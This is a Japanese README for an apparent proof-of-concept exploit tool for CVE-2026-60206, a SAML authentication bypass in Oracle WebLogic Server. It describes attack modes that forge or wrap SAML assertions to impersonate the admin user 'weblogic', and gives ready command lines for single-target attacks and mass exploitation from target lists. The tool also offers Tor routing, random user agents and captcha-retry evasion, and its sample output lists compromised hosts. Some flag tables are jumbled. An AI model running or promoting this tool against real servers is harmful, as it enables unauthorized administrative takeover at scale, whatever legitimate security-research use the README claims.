
重大な Oracle WebLogic Server SAML 認証バイパス脆弱性である CVE-2026-60206 に関する技術的分析と Proof-of-Concept。
このリポジトリは、Oracle WebLogic Server の SAML 実装における重大な認証バイパス脆弱性である CVE‑2026‑60206 の概念実証エクスプロイトを提供します。この欠陥により、リモートの低権限攻撃者が SAML アサーションを偽造してサーバーを完全に侵害できます。
⚠️ 免責事項: このツールは認可されたセキュリティ研究およびテストのみを目的としています。所有しているシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。作者は誤用に対する一切の責任を負いません。
CVE-2026-60206 は、Oracle WebLogic Server の Core コンポーネントに影響します。この脆弱性は、SAML プロトコル実装における不適切な認証処理に起因します。XML Signature Wrapping (XSW)、未署名アサーションの受理、NameID の操作、audience/conditions バイパスなどの複数の攻撃ベクトルにより、攻撃者は任意のユーザー(例: weblogic)を偽装し、管理アクセスを取得できます。
影響を受けるバージョン:
この PoC は以下の攻撃ベクトルを実装しています:
WantAssertionsSigned が強制されていない場合)。AudienceRestriction を削除または変更して適用範囲を広げる。NotBefore/NotOnOrAfter を操作して有効性チェックをバイパスする。all、unsigned、xsw、nameid、audience、conditions、combo、replay から選択。-l 経由)。-r)。httpx を自動的に使用し、requests (HTTP/1.1) にフォールバック。git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
必須: requests、urllib3
任意(機能を向上):
httpx – HTTP/2 サポート用lxml – SAML 解析の強化用signxml、cryptography – 署名処理用(エクスプロイトには不要)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| フラグ | 説明 |
|---|---|
-t, --target TARGET | 単一ターゲットの URL(例: https://host:7002)。 |
-l, --list LIST | 大量スキャン用のターゲットリストファイル、または単一 URL。 |
-f, --file FILE | のエイリアス。 |
-l 使用時):| フラグ | 説明 |
|---|---|
--exploit | 未署名の SAML アサーションをテスト(デフォルト: 検出のみ)。 |
-T, --threads THREADS | 並行スレッド数(デフォルト: 10)。 |
| フラグ | 説明 |
|---|---|
-v, --verbose | 詳細度を上げる(デバッグ出力)。 |
-q, --quiet | 重要でない出力を抑制。 |
--list-modes |
detectバージョン検出と SAML エンドポイントのプロービングを実行します。攻撃は開始されません。
unsigned完全に未署名の SAML アサーションを注入します。ターゲットが WantAssertionsSigned を強制していない場合、認証を完全にバイパスします。
バリアント: unsigned(デフォルト)、unsigned_stripped(すべての署名参照を削除)。
xsw (XML Signature Wrapping)悪意のある未署名アサーションを、有効な署名付きアサーションの前(またはそれを包み込む形)に配置します。SAML プロセッサは最初のアサーションを採用する一方、署名検証器は署名付きアサーションを検証する可能性があります。
バリアント: xsw1(単純な前置)、xsw2(元と同じ ID)、xsw3(ネストされたラッパー)、xsw4(兄弟要素)。
nameidNameID フィールドを操作して WebLogic の ID マッパーを混乱させ、別のユーザーへの偽装を可能にします。
バリアント: comment_injection、whitespace、format_confusion、xpath_injection。
audienceaudience 要素を削除または変更して AudienceRestriction チェックをバイパスします。
バリアント: remove_audience、wildcard_audience、extra_audience。
conditions時間ベースの制限(例: NotBefore、NotOnOrAfter)をバイパスします。
バリアント: future_timestamp、expired_timestamp、remove_conditions、infinite_validity。
comboXSW、未署名アサーション、NameID 操作を 1 つのペイロードに組み合わせます – 完全な侵害に最もつながりやすいベクトルです。
バリアント: combo_full(コメント注入あり)、combo_stealth(改行あり)。
replay以前にキャプチャした SAML レスポンスを再生し、必要に応じて宛先を変更したり audience 制限を削除したりします。
バリアント: replay_modified(Destination/Recipient を調整)、replay_cross_sp(audience 制限を削除)。
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
この PoC を安全にテストするには、SAML を有効にした影響を受けるバージョンのいずれかで WebLogic Server をセットアップしてください。たとえば、Docker を使用できます:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
SAML 設定には、ACS エンドポイント(例: /saml2/sp/acs)を持つ SAML 2.0 Service Provider が少なくとも 1 つ含まれ、メタデータが公開されている必要があります。
このプロジェクトは GNU v3.0 License の下でライセンスされています。詳細は LICENSE ファイルを参照してください。
Issue とプルリクエストを歓迎します。コントリビューションが同じ倫理的な使用ガイドラインに従うようにしてください。
注意: セキュリティツールをテストする前に、必ず適切な許可を取得してください。倫理的に行動しましょう!
--save-payloads)。-c / --check) – ターゲットが脆弱かどうかを迅速に判定(非エクスプロイト)。| フラグ | 説明 |
|---|
-h, --help | ヘルプメッセージを表示して終了。 |
--proxy PROXY | プロキシ URL(使用時は --tor によって上書き)。 |
--no-verify | SSL 証明書の検証を無効化。 |
--cookie COOKIE | セッション Cookie(例: name=value; name2=value2)。 |
--auth AUTH | ベーシック認証の資格情報(USER:PASS)。 |
--list| フラグ | 説明 |
|---|
-r, --requestfile REQUESTFILE | ファイルから生の HTTP リクエストを読み込み(SAML 攻撃を置き換え)。 |
--method METHOD | 使用する HTTP メソッド(生リクエストまたは単一リクエスト用。デフォルト: GET)。 |
--random-agent | 組み込みリストからランダムな User-Agent を使用。 |
-A, --user-agent USER_AGENT | カスタム User-Agent ヘッダー値。 |
--tor | Tor 匿名ネットワークを使用(デフォルトは SOCKS5)。 |
--tor-port TOR_PORT | Tor プロキシポート(デフォルト: 9050)。 |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor プロキシタイプ(デフォルト: SOCKS5)。 |
--check-tor | Tor が正しく使用されているか確認(判定とともに終了)。 |
--delay DELAY | 各リクエスト間の遅延(秒)。 |
--timeout TIMEOUT | タイムアウト(秒。デフォルト: 30)。 |
--retries RETRIES | タイムアウト/エラー時のリトライ回数(デフォルト: 3)。 |
--retry-on RETRY_ON | レスポンス内容が正規表現に一致する場合にリクエストをリトライ(例: 'captcha')。 |
-dr, --disable-redirects | HTTP リダイレクトの追跡を無効化。 |
| フラグ | 説明 |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | 攻撃モード(デフォルト: all)。 |
--detect | WebLogic のバージョンと SAML 設定のみを検出(攻撃なし)。 |
-c, --check | クイック脆弱性チェック(検出のみ、判定とともに終了)。 |
-u, --user USER | 偽装する対象ユーザー(デフォルト: weblogic)。 |
--groups GROUPS | SAML アサーションに含めるグループ(デフォルト: Administrators,Monitors)。 |
--issuer ISSUER | SAML Issuer のエンティティ ID。 |
--audience AUDIENCE | SAML Audience のエンティティ ID。 |
--relay-state RELAY_STATE | SAML POST 用の RelayState パラメータ。 |
--base64 | POST 内の SAML レスポンスを Base64 エンコード。 |
--extra-attrs [NAME=VALUE ...] | 追加の SAML 属性(例: role=admin)。 |
--replay-file REPLAY_FILE | 再生用にキャプチャした SAML レスポンスへのパス。 |
--save-payloads | 生成した SAML ペイロードを ./payloads/ に保存。 |
--continue-on-success | 攻撃が成功した後もテストを続行。 |
| 全攻撃モードを説明付きで一覧表示して終了。 |
-o, --output OUTPUT | JSON または CSV レポートをファイルに書き込み。 |